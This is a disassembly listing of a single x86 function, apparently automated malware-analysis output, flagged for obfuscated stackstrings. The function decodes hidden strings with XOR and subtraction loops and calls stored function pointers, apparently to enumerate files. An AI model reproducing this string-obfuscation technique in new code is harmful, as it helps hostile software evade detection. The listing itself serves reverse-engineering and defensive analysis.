Function at 0x42d27e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453d39
call fcn.004534f4
sub esp, 0x2f0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
movaps xmm0, xmmword [0x407580]
movups xmmword [ebp - 0x95], xmm0
movaps xmm0, xmmword [0x4074b0]
movups xmmword [ebp - 0x85], xmm0
mov dword [ebp - 0x75], 0x5a2f1517
mov byte [ebp - 0x71], bl
mov ecx, ebx
mov dword [ebp - 0x58], ecx
cmp ecx, 0x23
jae 0x42d2e2
mov al, byte [ebp + ecx - 0x94]
xor al, byte [ebp - 0x95]
mov byte [ebp + ecx - 0x94], al
inc ecx
jmp 0x42d2c3
mov byte [ebp - 0x71], bl
lea edi, [ebp - 0x94]
mov al, 0x27
mov dword [ebp - 0x41], 0x6a767327
mov dword [ebp - 0x3d], 0x77687368
mov dword [ebp - 0x39], 0x7b686b77
mov word [ebp - 0x35], 0x68
mov edx, ebx
mov dword [ebp - 0x5c], edx
cmp edx, 0xc
jae 0x42d335
movsx ecx, al
and ecx, 0x8000000f
jns 0x42d322
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x40]
sub al, cl
mov byte [ebp + edx - 0x40], al
inc edx
mov dword [ebp - 0x5c], edx
mov al, byte [ebp - 0x41]
jmp 0x42d30d
mov byte [ebp - 0x34], bl
lea eax, [ebp - 0x40]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.0040bc98
push edi
mov edx, eax
lea ecx, [ebp - 0xb0]
call fcn.00417bac
lea ecx, [ebp - 0x128]
call fcn.0040bc59
mov ecx, dword [esi + 0x354]
lea eax, [ebp - 0xb0]
cmp dword [ebp - 0x9c], 0x10
cmovae eax, dword [ebp - 0xb0]
lea edx, [ebp - 0x2fc]
push edx
push eax
call ecx
mov dword [ebp - 0x54], eax
cmp eax, 0xffffffff
je 0x42d62a
mov cl, 0x70
mov dword [ebp - 0x19], 0x43415c70
mov byte [ebp - 0x15], bl
mov edx, ebx
mov dword [ebp - 0x60], edx
cmp edx, 3
jae 0x42d3d0
movsx ecx, cl
and ecx, 0x8000000f
jns 0x42d3bd
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x18]
sub al, cl
mov byte [ebp + edx - 0x18], al
inc edx
mov dword [ebp - 0x60], edx
mov cl, byte [ebp - 0x19]
jmp 0x42d3a8
mov byte [ebp - 0x15], bl
lea eax, [ebp - 0x2d0]
push eax
lea ecx, [ebp - 0x170]
call fcn.0040bc98
mov edi, eax
mov dl, 0x57
mov dword [ebp - 0x33], 0x36070b57
mov dword [ebp - 0x2f], 0x30363c34
mov dword [ebp - 0x2b], 0xb2432
mov ecx, ebx
mov dword [ebp - 0x64], ecx
cmp ecx, 0xa
jae 0x42d41b
mov al, byte [ebp + ecx - 0x32]
xor al, dl
mov byte [ebp + ecx - 0x32], al
inc ecx
mov dword [ebp - 0x64], ecx
mov dl, byte [ebp - 0x33]
jmp 0x42d403
mov byte [ebp - 0x28], bl
mov dl, 0x54
mov dword [ebp - 0x4f], 0x373b3854
mov dword [ebp - 0x4b], 0x24353835
mov dword [ebp - 0x47], 0x20353024
mov word [ebp - 0x43], 0x35
mov ecx, ebx
mov dword [ebp - 0x68], ecx
cmp ecx, 0xc
jae 0x42d458
mov al, byte [ebp + ecx - 0x4e]
xor al, dl
mov byte [ebp + ecx - 0x4e], al
inc ecx
mov dword [ebp - 0x68], ecx
mov dl, byte [ebp - 0x4f]
jmp 0x42d440
mov byte [ebp - 0x42], bl
lea eax, [ebp - 0x4e]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x158]
call fcn.0040bc98
lea ecx, [ebp - 0x32]
push ecx
mov edx, eax
lea ecx, [ebp - 0x140]
call fcn.00417bac
push edi
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0xe0]
call fcn.0041c09c
lea eax, [ebp - 0x18]
push eax
lea edx, [ebp - 0xe0]
lea ecx, [ebp - 0x110]
call fcn.00417bac
lea ecx, [ebp - 0xe0]
call fcn.0040bc59
lea ecx, [ebp - 0x140]
call fcn.0040bc59
lea ecx, [ebp - 0x158]
call fcn.0040bc59
lea ecx, [ebp - 0x170]
call fcn.0040bc59
push 0x406fc4
lea ecx, [ebp - 0xc8]
call fcn.0040bc98
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x110]
push eax
mov ecx, esi
call fcn.00426c55
mov al, 0x6d
mov dword [ebp - 0x1f], 0x85813b6d
mov word [ebp - 0x1b], 0x81
xor edx, edx
mov dword [ebp - 0x6c], edx
cmp edx, 4
jae 0x42d534
movsx ecx, al
and ecx, 0x8000000f
jns 0x42d521
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1e]
sub al, cl
mov byte [ebp + edx - 0x1e], al
inc edx
mov dword [ebp - 0x6c], edx
mov al, byte [ebp - 0x1f]
jmp 0x42d50c
mov byte [ebp - 0x1a], bl
mov edx, dword [esi + 0x330]
lea ecx, [ebp - 0x1b8]
call fcn.0041828f
mov edi, eax
mov cl, 0x44
mov dword [ebp - 0x27], 0x68496044
mov dword [ebp - 0x23], 0x63696b
xor edx, edx
mov dword [ebp - 0x70], edx
cmp edx, 6
jae 0x42d587
movsx ecx, cl
and ecx, 0x8000000f
jns 0x42d574
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x26]
sub al, cl
mov byte [ebp + edx - 0x26], al
inc edx
mov dword [ebp - 0x70], edx
mov cl, byte [ebp - 0x27]
jmp 0x42d55f
mov byte [ebp - 0x20], bl
lea eax, [ebp - 0x26]
push eax
lea edx, [esi + 0xd0]
lea ecx, [ebp - 0x1a0]
call fcn.00417b5f
push edi
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0xf8]
call fcn.0041c09c
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x1e]
push eax
lea edx, [ebp - 0xf8]
lea ecx, [ebp - 0x188]
call fcn.00417bac
push eax
lea ecx, [esi + 0x3b0]
call fcn.00443927
lea ecx, [ebp - 0x188]
call fcn.0040bc59
lea ecx, [ebp - 0xf8]
call fcn.0040bc59
lea ecx, [ebp - 0x1a0]
call fcn.0040bc59
lea ecx, [ebp - 0x1b8]
call fcn.0040bc59
inc dword [esi + 0x330]
mov eax, dword [esi + 0x350]
push dword [ebp - 0x54]
call eax
lea ecx, [ebp - 0xc8]
call fcn.0040bc59
lea ecx, [ebp - 0x110]
call fcn.0040bc59
lea ecx, [ebp - 0xb0]
call fcn.0040bc59
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret